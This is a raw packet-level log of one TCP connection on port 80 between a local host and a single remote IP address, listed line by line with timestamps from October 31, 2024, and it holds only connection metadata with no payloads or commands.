Oct 31, 2024 23:38:20.906002045 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906008005 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906018019 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906033993 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906055927 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906100988 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906116009 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906131029 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906137943 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906147003 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906160116 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906161070 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906172991 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906179905 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906194925 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906200886 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906210899 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906222105 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906228065 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906251907 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906281948 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906424999 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906440020 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906454086 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906469107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906476974 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906485081 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906502008 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906508923 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906517982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906522989 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906552076 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.906600952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.906745911 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054260969 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054306984 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054323912 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054337025 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054359913 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054375887 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054389000 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054393053 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054409981 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054425001 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054428101 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054440022 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054446936 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054457903 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054466963 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054492950 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054506063 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054579973 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054594994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054608107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054624081 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054627895 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054640055 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054646969 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054658890 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054661989 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054677963 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054682016 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054687023 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054693937 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054707050 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054709911 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054725885 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054728031 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054740906 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054750919 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054758072 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054770947 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054797888 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054807901 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.054867983 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054943085 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054956913 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.054977894 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055003881 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055201054 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055217028 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055263996 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055560112 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055576086 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055593014 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055612087 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055614948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055630922 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055630922 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055649996 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055658102 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055666924 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055666924 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055687904 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055706024 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055752039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055767059 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055783033 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055795908 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055807114 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055835962 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.055958986 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055973053 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.055995941 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056004047 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056020975 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056030035 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056035995 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056040049 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056061983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056061983 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056070089 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056078911 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056092978 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056107998 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056124926 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056129932 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056145906 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056149960 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056152105 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056181908 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056190968 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056196928 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056212902 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056236029 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056251049 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056252003 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056267977 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056272984 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056282997 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056289911 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056299925 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056314945 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056314945 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056322098 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056332111 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056339025 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056349039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056355000 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056366920 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056391954 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056396961 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056396961 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056408882 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056410074 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056423903 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056427956 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056438923 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056443930 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056456089 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056461096 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056472063 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.056474924 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056495905 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.056513071 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.058171034 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.058187962 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.058259964 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.058893919 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059035063 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059050083 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059087038 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.059101105 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.059266090 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059911966 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059926987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059942961 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059957027 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059963942 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.059973001 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059987068 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.059990883 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060000896 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060010910 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060025930 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060034990 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060041904 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060055971 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060065985 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060080051 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060089111 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060096979 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060106039 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060112953 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060127974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060128927 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060134888 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060143948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060158968 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060170889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060170889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060173035 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060189009 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060198069 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060220003 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060228109 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060242891 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060249090 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060257912 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060272932 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060278893 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060287952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060288906 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060305119 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060327053 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060328007 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060343981 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060349941 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060359001 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060373068 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060374022 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060390949 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060405016 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060405970 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060424089 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060431957 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060446978 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060450077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060462952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060477972 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060478926 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060496092 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060499907 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060509920 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060516119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060528994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060544014 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060544014 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060563087 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060566902 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060591936 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060621023 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060833931 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060848951 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060863972 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060885906 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060889006 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060909986 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060910940 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060926914 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060941935 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060950994 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060960054 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060965061 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060980082 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.060981035 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.060997009 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061002970 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061013937 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061028004 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061031103 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061043024 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061044931 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061058998 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061064005 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061074972 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061084986 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061091900 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061115026 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061121941 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061141014 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061145067 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061160088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061163902 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061175108 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061180115 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061191082 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061197042 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061207056 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061209917 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061223984 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061229944 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061239958 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061244965 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061255932 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061281919 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061281919 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061283112 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061306000 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061306953 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061322927 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061326981 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061337948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061342955 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061352968 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061357021 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061369896 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061376095 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061386108 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061392069 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061402082 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061409950 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061419010 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061423063 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061439037 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061441898 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061456919 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061464071 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061472893 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061474085 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061491013 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061499119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061506987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061521053 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061526060 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061533928 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061536074 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061559916 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061567068 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061575890 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061578035 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061579943 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061592102 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061594963 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061606884 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061614037 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061623096 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061626911 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061646938 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061651945 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061669111 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061675072 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061683893 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061686039 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061700106 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061706066 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061716080 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061731100 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061738014 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061747074 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061750889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061764956 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061772108 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061785936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061808109 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061809063 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061825037 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061829090 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.061841965 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.061850071 CET	49870	80	192.168.2.4	185.215.113.16
